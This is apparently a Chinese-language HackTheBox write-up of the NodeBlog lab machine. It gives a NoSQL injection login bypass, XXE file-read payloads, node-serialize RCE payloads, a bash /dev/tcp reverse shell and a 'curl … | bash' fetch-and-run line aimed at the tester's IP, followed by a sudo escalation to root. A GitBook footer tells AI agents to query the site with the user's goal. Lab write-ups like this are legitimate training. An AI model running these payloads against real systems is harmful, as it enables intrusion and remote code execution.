> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md).

# NodeBlog HackTheBox 复盘

NodeBlog HackTheBox 简单 Linux 机器复盘，涵盖 NoSQL 注入（认证绕过）、XXE 文件读取、NodeJS 反序列化攻击（滥用 IIFE）、Mongo 数据库枚举，并包含实用

{% embed url="<https://app.hackthebox.com/machines/NodeBlog>" %}

{% hint style="warning" %}
**技能：**

* NoSQL 注入（身份验证绕过）
* XXE 文件读取
* NodeJS 反序列化攻击（滥用 IIFE）
* Mongo 数据库枚举
  {% endhint %}

## 侦察

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a37c0d9ff81cbbbabf5497b0c9df2c13ee3af4ac%2Fimage%20(2881).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f41680318d94ca2816f02407e888b92d9f25445d%2Fimage%20(2882).png?alt=media" alt=""><figcaption></figcaption></figure>

使用 Nmap 对 22,5000 端口进行版本扫描

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,5000 10.10.11.139 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9802aba7edc682744d4f34f043ded383ecb08ef2%2Fimage%20(2883).png?alt=media" alt=""><figcaption></figcaption></figure>

### 5000 端口分析 - NodeJS 应用程序

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5962fd41a6c913ad5944708e4743c06553f974c4%2Fimage%20(2884).png?alt=media" alt=""><figcaption></figcaption></figure>

* 发现了一个管理面板。
* 该 `admin` 用户有效。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-827022d04c8924e51804d0cff563cdccb6feb6ba%2Fimage%20(2885).png?alt=media" alt=""><figcaption></figcaption></figure>

## NoSQL 注入漏洞（身份验证绕过）

使用 Burp Suite 拦截请求。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1333ce96e08258f5f54703a0b6cae6321a51803%2Fimage%20(2886).png?alt=media" alt=""><figcaption></figcaption></figure>

测试经典注入载荷：

```bash
username=admin&password[$ne]=toto
```

这不起作用。

转换为 JSON 并修改 `Content-Type` 更改为 `application/json`:

```sql
{
  "user": "admin",
  "password": { "$ne": null }
}
```

结果：认证成功！

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-867df5221d68233f84b2b1a085c45d568fdd5ef7%2Fimage%20(2887).png?alt=media" alt=""><figcaption></figcaption></figure>

## 利用 XXE 注入漏洞

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-80af2ea4ce0941d799be213686d7be7e92eec4da%2Fimage%20(2888).png?alt=media" alt=""><figcaption></figcaption></figure>

上传 TXT 文件：被拒绝，只接受 XML 文件。

```
你好，这是一个测试
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f53bbf8cdb2e0ab761903fe128265bc6a644f0a%2Fimage%20(2889).png?alt=media" alt=""><figcaption></figcaption></figure>

所需格式：

```xml
<post>
    <title>示例帖子</title>
    <description>示例描述</description>
    <markdown>示例 Markdown</markdown>
</post>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11bafd4b72dc94415155bebd1c91033704f8b182%2Fimage%20(2890).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea4846c5186c1369109a1ac673b8776d5f54248f%2Fimage%20(2892).png?alt=media" alt=""><figcaption></figcaption></figure>

发送一个包含外部实体的 XML 文件以读取 `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>示例帖子</title>
    <description>示例描述</description>
    <markdown>&xxe;</markdown>
</post>
```

结果： `/etc/passwd` 的内容已显示。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a1b719db00f4a7f3fcde233e3f8f67a12e1feaf%2Fimage%20(2893).png?alt=media" alt=""><figcaption></figcaption></figure>

* 发现一个用户 `admin`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64202dc5277cc5b218c1e77460bfca4982e2a839%2Fimage%20(2894).png?alt=media" alt=""><figcaption></figcaption></figure>

注入以读取 `/opt/blog/server.js` 并识别存储的凭据。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd69d9c7adcc3b5523ce0077713d0fe87e6d9e80%2Fimage%20(2895).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
<post>
    <title>示例帖子</title>
    <description>示例描述</description>
    <markdown>&xxe;</markdown>
</post>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-540e6a5388312c3aae7c67bd6e2a8570f01c8578%2Fimage%20(2896).png?alt=media" alt=""><figcaption></figcaption></figure>

## 利用 NodeJS 反序列化

* 发现了一个反序列化会话 cookie 的函数。

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b2f915aa429e18b3c30348763cee1174ee7b0ed%2Fimage%20(2897).png?alt=media" alt=""><figcaption></figcaption></figure></div>

创建载荷：

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

使用以下命令监听 ICMP 流量：

```bash
tcpdump -i tun0 icmp -n
```

* URL 编码：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29f480cfb0cc159cd0950d7da9bb76c1261ba912%2F%7BBAFDCE09-9711-4185-BB24-4A0E4DAC5F49%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

通过 URL 编码构造 RCE 并注入到 cookie 中。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4f7d457a0c99906352591228b261120bb46f3b4%2Fimage%20(2899).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c684d467429d0754df6691b4af413cb2371272a8%2Fimage%20(2900).png?alt=media" alt=""><figcaption></figcaption></figure>

### RCE - 反序列化漏洞（nodejs）

创建 `index.html` 反向 shell 脚本：

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

启动 HTTP 服务器：

```bash
python3 -m http.server 80
```

监听：

```bash
nc -nlvp 443
```

#### 发送载荷：

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

* URL 编码：

{% code overflow="wrap" %}

```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

结果：已获得 shell 访问权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c772ca0a204fd7778d0a4b079c503518620f7d15%2F%7BCB6EA705-F2D9-4542-971F-3B1D69444078%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1af62d3af8110eacc95d0d495f96da394c557f75%2F%7BFACA0D49-E8B1-4BC8-9B44-700ECB4257D2%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### Mongo 数据库枚举

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71e7bd028c7fed59621fba78814ccde10e9e52e3%2Fimage%20(2901).png?alt=media" alt=""><figcaption></figcaption></figure>

连接 MongoDB 数据库（27017 端口开放）：

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da7c69cefc94c24ceb5217c2a8eff1d8f873ab0%2F%7B441FD16F-EA2F-475A-880B-885A5078D262%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* 用户：admin
* 密码：IppsecSaysPleaseSubscribe

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f323aa4653ca82859b91b61ee3f34bda34d7f1d7%2F%7BB0D869E1-98AD-45C8-A37A-0CD27A912A0D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudo（ALL:ALL）

检查 sudo 权限：

```bash
sudo -l
```

结果：管理员用户可以运行 `sudo su` 无需密码。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-958a73dfe7eceb591e0cbc1c5b88c636126bc91c%2F%7B2821239A-231F-4C9C-AA64-355C2E6C41C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

切换到 root：

```bash
sudo su
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dbad48ebbaab123f06af4cdd78dcb938bd8a022%2F%7BAB86238C-A02B-4D9F-994E-B6A19AF2CB61%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f804261d599f2829475d34d78c48af558c174fb8%2F%7B0F6DAC41-586A-43A2-9397-BD19E9AE9317%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da24b25faa9c14c66547beb0056c61ed9494f1e2%2F%7B69843223-DFF0-46EB-B85C-B1E9FB04275A%7D.png?alt=media" alt="" width="338"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
